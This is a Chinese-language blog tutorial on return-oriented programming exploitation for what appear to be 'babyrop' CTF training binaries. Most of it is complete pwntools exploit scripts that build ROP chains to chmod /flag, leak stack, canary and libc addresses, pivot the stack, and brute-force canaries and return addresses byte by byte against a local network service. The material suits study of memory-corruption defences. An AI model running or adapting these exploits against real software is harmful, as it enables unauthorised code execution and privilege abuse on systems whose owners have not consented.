ROP 利用手法

分类: 365bet手机版中文 2025-10-24 15:15:48 作者: admin

0. checksec起手

1. ROP gadgets 搜索

1.1 ROPgadget

1.2 one_gadget

1.3 rp++

2. ROP 防御绕过技巧

2.1 ASLR(Address Space Layout Randomization)和NX,NO-PIE

2.1.1 泄露stack地址完成绕过

2.1.2 no-pie写bss段

2.1.3 没有syscall gadget

2.1.4 泄露libc地址

2.1.5 stack pivot(栈迁移)

2.2 ASLR(Address Space Layout Randomization)和NX,PIE

2.2.1 部分覆盖返回地址执行一个gadget

2.3 ASLR(Address Space Layout Randomization)和NX,PIE, CANARY

2.3.1 泄露stack地址,canary,libc基址

2.3.2 网络请求连接:多进程爆破canary、程序地址,泄露libc地址

2.3.3 网络请求连接:多进程爆破canary、libc地址

0. checksec起手

一般情况下,安装pwntools后,就会默认帮你安装checksec,这个命令非常好用,主要的功能是帮助你了解程序开启了哪些保护。

Arch:

程序架构,这里告诉你是x86_64

RELRO(read only relocation):

设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。

Stack:

有无canary

NX:

no-execute,即栈不可执行

PIE(position independent executable):

位置无关代码

SHSTK: 前提条件,开启CET(CONTROL-FLOW ENFORCEMENT TECHNOLOGY)

shadow stack,当shadow stack开启时,CALL指令会把返回地址同时压入数据栈和影子栈(shadow stack),RET指令会把返回地址同时从数据栈和影子栈取出,并比较。

如果从两个栈中取出的返回地址不匹配,那么就会触发控制保护异常(#CP)

IBT: 前提条件,开启CET(CONTROL-FLOW ENFORCEMENT TECHNOLOGY)

indirect branch tracker,应用于间接跳转(jmp/call指令),如果在间接跳转后的下一条指令不是ENDBR32或ENDBR64,就会触发#CP异常。

并不包括RIP相对跳转、远直接jmp跳转、call相对跳转等,这些都是跳转到固定地址,不存在被篡改的可能,因此IBT并不作用于这种情况

Stripped:是否去了符号

总之,开始ctf之前,起手checksec是常规操作

1. ROP gadgets 搜索

工欲善其事,必先利其器

ROP中的gadget,人工搜索不现实,这里列出几个常见的好用的rop gadget搜索工具

1.1 ROPgadget

pwntools安装好后自带的gadget搜索工具

通常情况下,ROPgadget能满足绝大部分需求

1.2 one_gadget

所谓one_gadget,是指一条指令就能get shell的指令,通常使用在你已经获得了程序执行用到的libc文件后执行。

安装步骤如下:(ubuntu20.04)

sudo apt install ruby

sudo apt install gem

sudo gem install elftools -v 1.2.0

sudo gem install one_gadget -v 1.9.0

1.3 rp++

据说是最好用的gadget搜索工具,搜的比ROPgadget全,如果ROPgadget找不到gadget,不妨试试rp++

在ubuntu20上安装过程如下:

git clone https://github.com/0vercl0k/rp.git

cd rp/src/build

chmod 777 build-release.sh

sudo apt install cmake

sudo apt install ninja-build

./build-release.sh

cp rp-lin /usr/local/bin/rp++

# 使用

rp++ -f babyrop_level6.1 -r3 --colors

2. ROP 防御绕过技巧

2.1 ASLR(Address Space Layout Randomization)和NX,NO-PIE

ASLR和pie的关联和联系是:

pie是一种编译选项,即这个程序是否是位置无关的代码;

aslr是系统选项,对于开启了aslr的系统,在加载程序时,会尝试把程序装载到随机的基地址上

如果:

1、关闭aslr

程序无论是否有pie,装载基地址不变

2、开启aslr,且值为1

程序没有pie,程序本身装载基地址不变;除heap外的其他部分(如libc、stack等等)会装载在随机地址

程序有pie,程序本身装载基地址也会变化

3、开启aslr,且值为2

程序没有pie,程序本身装载基地址不变;其他部分(如libc、stack、heap等等)会装载在随机地址

程序有pie,程序本身装载基地址也会变化

2.1.1 泄露stack地址完成绕过

如果你知道stack的地址的话,我们可以引用 写在栈空间上的数据,完成利用

from pwn import *

context.log_level = 'debug'

p = process("./babyrop_level4.0")

p.recvuntil(b"[LEAK] Your input buffer is located at: 0x")

stack_addr= int(p.recv(12),16)

print("buffer_addr:",hex(stack_addr))

syscall = 0x0000000000402641

pop_rdi_ret = 0x0000000000402669

pop_rsi_ret = 0x0000000000402671

pop_rdx_ret = 0x000000000040264a

pop_rcx_ret = 0x0000000000402662

pop_rax_ret = 0x0000000000402651

payload = b"/flag\x00".ljust(0x50+8,b"a")+ p64(pop_rdi_ret)+p64(stack_addr)+p64(pop_rsi_ret)+p64(511)+p64(pop_rax_ret)+p64(90)+p64(syscall)

#print(shellcraft.sh())

p.send(payload)

p.interactive()

2.1.2 no-pie写bss段

如果系统开启了aslr,但是程序是no-pie的,这意味着程序段的地址是固定的,我们可以先在bss段中写入我们想要使用的字符串,比如”/flag”,然后进行二次利用:

核心思路:bss段的值默认为0;且代码中能够找到pop rcx; ret、pop rax; ret、add byte ptr [rcx], al ; pop rbp ; ret三个gadgets,这样即可直接写入字符串

思路2:在没有上述的gadget时,我们可以考虑pop rdi; ret,pop rsi; ret,pop rdx; ret,这能帮助我们构造参数,然后利用pop rax;ret,syscall 或者read_plt创建一个新字符串

思路3:如果能够操作机器,可以创建一个符号链接链接/flag,符号链接文件名称为攻击程序中的任意字符串

from pwn import *

context.log_level = 'debug'

p = process("./babyrop_level5.0")

gdb.attach(p)

pause()

syscall = 0x000000000040270f

pop_rdi_ret = 0x00000000004026df

pop_rsi_ret = 0x00000000004026ff

pop_rdx_ret = 0x00000000004026f0

pop_rcx_ret = 0x0000000000402708

pop_rax_ret = 0x00000000004026e8

# 0x000000000040127b : add byte ptr [rcx], al ; pop rbp ; ret

add_byteptrrcx_al_pop_rbp_ret = 0x000000000040127b

bss_addr = 0x405200

key_string = b"/flag\x00"

payload = b"a".ljust(0x60+8,b"a")

for i in range(len(key_string)):

payload += p64(pop_rcx_ret)+p64(bss_addr+i)+p64(pop_rax_ret)+p64(key_string[i])+p64(add_byteptrrcx_al_pop_rbp_ret)+p64(0)

payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(511)+p64(pop_rax_ret)+p64(90)+p64(syscall)

#print(shellcraft.sh())

p.send(payload)

p.interactive()

2.1.3 没有syscall gadget

如果没有syscall gadget,我们应该如何完成利用呢?

解答:利用程序已有的plt,一般来说open,read,write都是有的,且调用plt时,无需担心没有ret的问题~;另一点就是利用程序fd是顺序增长的原理,可以猜测open的fd是哪个值

from pwn import *

context.log_level = 'debug'

p = process("./babyrop_level6.1")

gdb.attach(p,"b *0x0000000000401c58")

pause()

pop_rdi_ret = 0x0000000000401c58

pop_rsi_ret = 0x0000000000401c50

pop_rdx_ret = 0x0000000000401c48

pop_rcx_ret = 0x0000000000401c40

bss_addr = 0x404200

key_string = b"/flag\x00"

key_string_len = len(key_string)

read_addr = 0x4010D0

open_addr = 0x401100

sendfile_addr = 0x4010E0

payload = b"a".ljust(0x20+8,b"a")

payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret)+p64(key_string_len) + p64(read_addr) # read "/flag"

payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr) # open /flag

payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(3)+p64(pop_rdx_ret)+p64(0)+p64(pop_rcx_ret)+p64(100)+p64(sendfile_addr) # sendlife(stdout,/flag,0,100)

p.send(payload)

p.send(key_string)

p.interactive()

2.1.4 泄露libc地址

如果能知道libc地址的话,我们就能够借助libc里的函数来完成rop链子的构造

泄露libc的地址,常见的方法是调用puts_plt(puts_got)来打印地址

核心思路是,在得知libc地址后,在libc里搜索必须的gadget,完成利用

from pwn import *

context.log_level = 'debug'

libc_path = "/lib/x86_64-linux-gnu/libc.so.6"

p = process("/challenge/babyrop_level7.0")

libc = ELF(libc_path)

#gdb.attach(p,"b *0x4024F3")

#pause()

p.recvuntil(b'[LEAK] The address of "system" in libc is: 0x')

system_addr = int(p.recv(12),16)

print("system_addr:",hex(system_addr))

libc.address = system_addr - libc.symbols["system"]

chmod_addr = libc.symbols["chmod"]

print("chmod_addr:",hex(chmod_addr))

bss_addr = 0x405200

pop_rdi_ret = 0x0000000000023b6a + libc.address

pop_rsi_ret = 0x000000000002601f + libc.address

pop_rdx_ret_0x10 = 0x00000000000dfc12 + libc.address

read_plt = 0x401150

print("pop_rdi_ret addr:",hex(pop_rdi_ret))

payload = b"a".ljust(0x40+8,b"a")

payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret_0x10)+p64(0x100)+p64(read_plt)+p64(0)+p64(0) # read(0,bss,0x100) # ret 10 = ret; add rsp, 10

payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"]) #chmod("/flag",511)

p.send(payload)

p.send(b"/flag")

p.interactive()

再给一个类似的exp:

from pwn import *

context.arch = 'amd64'

context.os = 'linux'

context.log_level= 'debug'

process_path = "./babyrop_level8.0"

libc_path = "./libc.so.6_7"

p = process(process_path,env={"LD_PRELOAD":libc_path})

libc = ELF(libc_path)

binary = p.elf

puts_plt = 0x401114

puts_got = binary.got['puts']

pop_rdi_ret = 0x0000000000401ed3

challenge_addr = 0x0000000000401C36

bss_addr = 0x404200

read_plt = 0x401140

# get libc addr

payload = b"a".ljust(0x50+8,b"a")

payload += p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt) # puts_plt(puts_got)

payload += p64(challenge_addr) # back to challenge

p.send(payload)

p.recvuntil(b"Leaving!\n")

puts_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00"))

log.success(f"puts_addr: {hex(puts_addr)}")

# chmod 777 /flag

libc.address = puts_addr - libc.symbols['puts']

pop_rsi_ret = libc.address + 0x000000000002601f

pop_rdx_ret_0x10 = libc.address + 0x00000000000dfc12

payload = b"a".ljust(0x50+8,b"a")

payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(bss_addr)+p64(pop_rdx_ret_0x10)+p64(0x100)+p64(read_plt)+ p64(0)+p64(0) # read(0,bss,0x100) # ret 10 = ret; add rsp, 10

payload += p64(pop_rdi_ret)+p64(bss_addr)+p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"]) # #chmod("/flag",511)

p.send(payload)

p.send(b"/flag")

p.interactive()

2.1.5 stack pivot(栈迁移)

核心原理是修改rsp的值,即完成栈的移动

常见的修改rsp的命令有leave(mov rsp, rbp; pop rbp); ret 和pop rsp; ret

stack pivot 坑点:1. 栈对齐16字节,这是libc里某些函数的限制,比如某函数A会检查其栈是否16字节对齐,不对齐会失败 2. 记得在栈前保留空间,这主要是应对跳转到某函数B中,该函数需要较多的栈空间的场景

请记住这些坑点,因为很难定位问题出在哪里

from pwn import *

context.os = "linux"

context.arch = "amd64"

context.log_level = "debug"

process_path = "./babyrop_level9.0"

libc_path = "./libc.so.6"

p = process(process_path,env={"LD_PRELOAD":libc_path})

libc = ELF(libc_path)

binary = p.elf

# gadgets

challenge_addr = 0x4017EC

padding_size =0x400

bss_addr = 0x4140e0

pop_rbp_ret = 0x000000000040129d

leave_ret = 0x00000000004016ab

pop_rdi_ret = 0x0000000000401af3

puts_plt = 0x401120

puts_got = binary.got["puts"]

log.debug(f"puts_plt: {hex(puts_plt)}; puts_got:{hex(puts_got)}")

# step 1 : leak libc addr

payload = p64(pop_rbp_ret)+p64(bss_addr+padding_size)+p64(leave_ret) # stack pivot # max size: 24 bytes

payload = payload.ljust(padding_size,b"a")

payload += p64(0xdeadbeef) # leave = mov rsp,rbp; pop rbp

payload += p64(pop_rdi_ret)+ p64(puts_got) + p64(puts_plt) # puts(puts)

payload += p64(challenge_addr) # return to challenge

# gdb.attach(p,"b *0x4019CE\nb *0x401905\nwatch *(char*)0x4141e0")

# pause()

p.send(payload)

p.recvuntil(b"Leaving!\n")

puts_addr = u64(p.recvline().strip(b"\n").ljust(8,b"\x00"))

log.success(f"puts_addr: {hex(puts_addr)}")

libc.address = puts_addr - libc.symbols["puts"]

# step 2 : chmod("/flag",777)

padding_size = 0x100

pop_rsi_ret = libc.address + 0x000000000002601f

payload = p64(pop_rbp_ret)+p64(bss_addr+padding_size)+p64(leave_ret) # stack pivot # max size: 24 bytes

payload = payload.ljust(padding_size,b"a")

payload += b"/flag\x00\x00\x00"# leave = mov rsp,rbp; pop rbp

payload += p64(pop_rdi_ret) + p64(bss_addr+padding_size) + p64(pop_rsi_ret) + p64(511) + p64(libc.symbols["chmod"])#chmod("/flag",511)

# gdb.attach(p,"b *0x4019CE")

# pause()

p.send(payload)

p.interactive()

tips: watch *(int*)0x4140e0的内存断点在调试时非常有用!

2.2 ASLR(Address Space Layout Randomization)和NX,PIE

2.2.1 部分覆盖返回地址执行一个gadget

前提条件: 某个能够让你达成目的 的one_gadget的地址 位于栈空间上,且你知道这个栈空间的地址;存在栈溢出

思路: 1. 覆盖栈空间中rbp的值为 one_gadget地址所在的位置;2. 部分覆盖返回地址的低2字节(或一字节)完成stack pivot

from pwn import *

context.log_level = 'debug'

context.os = 'linux'

context.arch = 'amd64'

binary_path = "./babyrop_level10.1"

# libc_path = "/lib/x86_64-linux-gnu/libc.so.6"

libc_path = "./libc.so.6"

p = process(binary_path,env={"LD_PRELOAD":libc_path})

libc =ELF(libc_path)

binary = p.elf

p.recvuntil(b"[LEAK] Your input buffer is located at: ")

stack_addr = int(p.recvline().strip(b"\n").strip(b"."),16)

log.success(f"win_addr: {hex(stack_addr)}")

# gdb.attach(p,"b *$rebase(0x2010)")

# pause()

payload = b"a".ljust(0x28,b"a")

payload += p64(stack_addr-16) # assume one_gadget's address is in stack_addr-8

payload += p8(0x10) #该题目只需改低1字节即可,无需爆破 只要是让其再执行一次leave; ret 完成栈迁移

p.send(payload)

p.interactive()

需要爆破2字节时,通常是这样的:

from pwn import *

context.log_level = 'debug'

context.os = 'linux'

context.arch = 'amd64'

binary_path = './babyrop_level11.1'

libc_path = './libc.so.6'

while True:

p = process(binary_path,env={"LD_PRELOAD":libc_path})

libc = ELF(libc_path)

binary = p.elf

p.recvuntil(b"[LEAK] Your input buffer is located at: ")

win_stack_pos = int(p.recvline().strip(b".\n"),16)

log.success(f"win_stack_pos:{hex(win_stack_pos)}")

# gdb.attach(p,"b *$rebase(0x2181)")

# pause()

payload = b"a".ljust(0x88,b"a")

payload += p64(win_stack_pos-0x10)

payload += p16(0x81)

p.send(payload)

result = p.recvall()

if b"flag" in result:

print(result)

break

#p.interactive()

p.close()

如果返回的地址位于libc中,你要使用的gadget也位于libc当中,通常需要爆破12bit

from pwn import *

context.log_level = 'debug'

context.os='linux'

context.arch='amd64'

binary_path='./babyrop_level12.1'

libc_path='./libc.so.6'

for i in range(4096):

p=process(binary_path,env={"LD_PRELOAD":libc_path})

libc=ELF(libc_path)

binary=p.elf

p.recvuntil(b"[LEAK] Your input buffer is located at: ")

stack_addr = int(p.recvline().strip(b".\n"),16)

log.success(f"stack_addr:{hex(stack_addr)}")

# gdb.attach(p,"b *$rebase(0x1C88)")

# pause()

payload = b"a".ljust(0x58,b"a")

payload += p64(stack_addr-0x10)

payload += p8(0xc8)+p16((i<<4)+8)

p.send(payload)

result = p.recvall()

if b"flag" in result:

print(result)

break

p.close()

2.3 ASLR(Address Space Layout Randomization)和NX,PIE, CANARY

2.3.1 泄露stack地址,canary,libc基址

思路:

1. 泄露stack地址

2. 根据任意地址读泄露canary

3. 部分修改main函数的返回地址,使其返回到libc中调用main函数的位置,再调用一次main函数

4. 根据任意地址读泄露libc地址

5. ROP,gadgets在libc中找

from pwn import *

context.log_level = 'debug'

context.os = 'linux'

context.arch = 'amd64'

binary_path = "./babyrop_level13.1"

libc_path = "./libc.so.6"

p = process(binary_path,env={"LD_PRELOAD":libc_path})

binary = p.elf

libc = ELF(libc_path)

# get stack addr

p.recvuntil(b"[LEAK] Your input buffer is located at: ")

stack_addr = int(p.recvline().strip(b".\n"),16)

log.success(f"stack_addr:{hex(stack_addr)}")

# get canary

canary_addr = stack_addr+0x68

log.info(f"canary_addr:{hex(canary_addr)}")

p.recvuntil(b"Address in hex to read from:")

p.sendline(hex(canary_addr).encode())

p.recvuntil(b" = ")

canary = int(p.recvline().strip(b"\n"),16)

log.success(f"canary_value:{hex(canary)}")

# go back to main again!

#gdb.attach(p,"b *$rebase(0x13D7)")

#pause()

payload = b"a".ljust(0x68,b"a")

payload += p64(canary) + p64(0xdeadbeef) +p8(0x3f)

p.send(payload)

# get libc_addr

p.recvuntil(b"Address in hex to read from:")

libc_pointer_addr = stack_addr + 0x78

p.sendline(hex(libc_pointer_addr))

p.recvuntil(b" = ")

libc_addr = int(p.recvline().strip(b"\n"),16)

libc_base = libc_addr - 0x24083

log.success(f"libc_base:{hex(libc_base)}")

libc.address = libc_base

# construct ROP chain

pop_rdi_ret = 0x0000000000023b6a + libc.address

pop_rsi_ret = 0x000000000002601f + libc.address

payload = b"/flag\x00\x00\x00".ljust(0x68,b"a")

payload += p64(canary) + p64(0xdeadbeef)

payload += p64(pop_rdi_ret) + p64(stack_addr) + p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"])

p.send(payload)

p.interactive()

2.3.2 网络请求连接:多进程爆破canary、程序地址,泄露libc地址

对于多进程的网络请求类型的程序,只要有一个栈溢出,就能解决很多事情!

用栈溢出逐字节爆破canary,再逐字节爆破返回地址

from pwn import *

# context.log_level = 'debug'

context.os = 'linux'

context.arch = 'amd64'

# binary_path = "./babyrop_level14.0"

# libc_path = "./libc.so.6"

binary_path = "/challenge/babyrop_level14.0"

libc_path = "/lib/x86_64-linux-gnu/libc.so.6"

# p = process(binary_path,env={"LD_PRELOAD":libc_path})

# binary = p.elf

binary = ELF(binary_path)

libc = ELF(libc_path)

# bruteforce canary

canary = [0x00]

for i in range(7):

for j in range(256):

io = remote("127.0.0.1",1337)

#gdb.attach(io,"b *$rebase(0x1C7A)")

#pause()

io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

payload = b"a".ljust(0x18,b"a") + bytes(canary) + p8(j)

io.send(payload)

result = io.recvall()

if b"stack smashing detected" not in result:

log.success(f"{i+2}th canary has been found: {hex(j)}")

canary.append(j)

io.close()

break

io.close()

log.success(f"current canary: {canary}")

# pause()

canary = u64(bytes(canary))

log.success(f"canary:{hex(canary)}")

pause()

# canary=0x999209ebdb95b900

# bruteforce program addr

challenge_addr = [0xfc]

for i in range(7):

for j in range(256):

io = remote("127.0.0.1",1337)

# gdb.attach(io,"b *$rebase(0x1C66)")

# pause()

io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

payload = b"a".ljust(0x18,b"a") + p64(canary)

payload += p64(0xdeadbeef) + bytes(challenge_addr)+ p8(j)

io.send(payload)

result = io.recvall(timeout=1)

if b"scenario." in result:

log.success(f"{i+2}th program addr has been found:{hex(j)}")

challenge_addr.append(j)

io.close()

break

io.close()

log.success(f"current program_addr:{challenge_addr}")

# pause()

# challenge_addr = [252, 90, 89, 219, 219, 85, 0, 0]

challenge_addr = u64(bytes(challenge_addr))

log.success(f"challenge_addr:{hex(challenge_addr)}")

binary.address = challenge_addr - 0x1AFC

pause()

# leak libc addr

log.success(f"start to leak the libc")

pop_rdi_ret = 0x0000000000001ed3 + binary.address

io = remote("127.0.0.1",1337)

io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

payload = b"a".ljust(0x18,b"a")+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(binary.got["puts"])+p64(binary.address+0x11D0)

# gdb.attach(io,"b *$rebase(0x1C66)")

# pause()

io.send(payload)

io.recvuntil(b"Leaving!\n")

puts_addr = u64(io.recv(6).ljust(8,b"\x00"))

log.success(f"puts_addr:{hex(puts_addr)}")

libc_base = puts_addr - libc.symbols["puts"]

log.success(f"libc_base: {hex(libc_base)}")

libc.address = libc_base

io.close()

# exploit

log.success(f"start to explit!")

string_addr = binary.address + 0x7B7 # mincore

pop_rsi_ret = libc.address+ 0x000000000002601f

io = remote("127.0.0.1",1337)

io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

# gdb.attach(io,"b *$rebase(0x1C66)")

# pause()

payload = b"a".ljust(0x18,b"a")+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(string_addr)+p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"])

io.send(payload)

io.interactive()

坑点注意:在使用pwntools的ELF中的got/plt表的内容,务必使用got/plt,不要使用symbols!!!

2.3.3 网络请求连接:多进程爆破canary、libc地址

如果存在栈溢出的函数就在main函数当中,他会返回libc地址,我们这时候需要爆破的是libc的基址

from pwn import *

import os

context.log_level = 'debug'

context.os = 'linux'

context.arch = 'amd64'

binary_path = "./babyrop_level15.0"

libc_path = "./libc.so.6"

# binary_path = "/challenge/babyrop_level15.0"

# libc_path = "/lib/x86_64-linux-gnu/libc.so.6"

# p = process(binary_path,env={"LD_PRELOAD":libc_path})

# binary = p.elf

binary = ELF(binary_path)

libc = ELF(libc_path)

# bruteforce canary

canary = [0x00]

for i in range(7):

for j in range(256):

io = remote("127.0.0.1",1337)

#gdb.attach(io,"b *$rebase(0x1C7A)")

#pause()

io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

payload = b"a".ljust(0x38,b"a") + bytes(canary) + p8(j)

io.send(payload)

result = io.recvall()

if b"stack smashing detected" not in result:

log.success(f"{i+2}th canary has been found: {hex(j)}")

canary.append(j)

io.close()

break

io.close()

log.success(f"current canary: {canary}")

# pause()

canary = u64(bytes(canary))

log.success(f"canary:{hex(canary)}")

# pause()

# bruteforce libc_addr

challenge_addr = [0x3F]

for i in range(7):

for j in range(256):

io = remote("127.0.0.1",1337)

# gdb.attach(io,"b *$rebase(0x1C66)")

# pause()

io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

payload = b"a".ljust(0x38,b"a") + p64(canary)

payload += p64(0xdeadbeef) + bytes(challenge_addr)+ p8(j)

io.send(payload)

result = io.recvall(timeout=1)

if b"### Welcome to" in result:

log.success(f"{i+2}th program addr has been found:{hex(j)}")

challenge_addr.append(j)

# io.interactive()

io.close()

break

io.close()

log.success(f"current program_addr:{challenge_addr}")

# pause()

challenge_addr = u64(bytes(challenge_addr))

log.success(f"challenge_addr:{hex(challenge_addr)}")

libc.address = challenge_addr - 0x2403F

# pause()

# exploit

log.success(f"start to explit!")

string_addr = libc.address + 0x1721F # stdin

pop_rsi_ret = libc.address+ 0x000000000002601f

pop_rdi_ret = libc.address + 0x0000000000023b6a

io = remote("127.0.0.1",1337)

io.recvuntil(b"might take anywhere from 0-12 bits of bruteforce depending on the scenario.")

# gdb.attach(io,"b *$rebase(0x1C66)")

# pause()

payload = b"a".ljust(0x38,b"a")+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(string_addr)+p64(pop_rsi_ret)+p64(511)+p64(libc.symbols["chmod"])

io.send(payload)

io.interactive()

这种常见容易遇到一个问题就是,返回到main函数后,又多开了一个进程抢占1337端口,所以需要你提前关闭才能进行下一步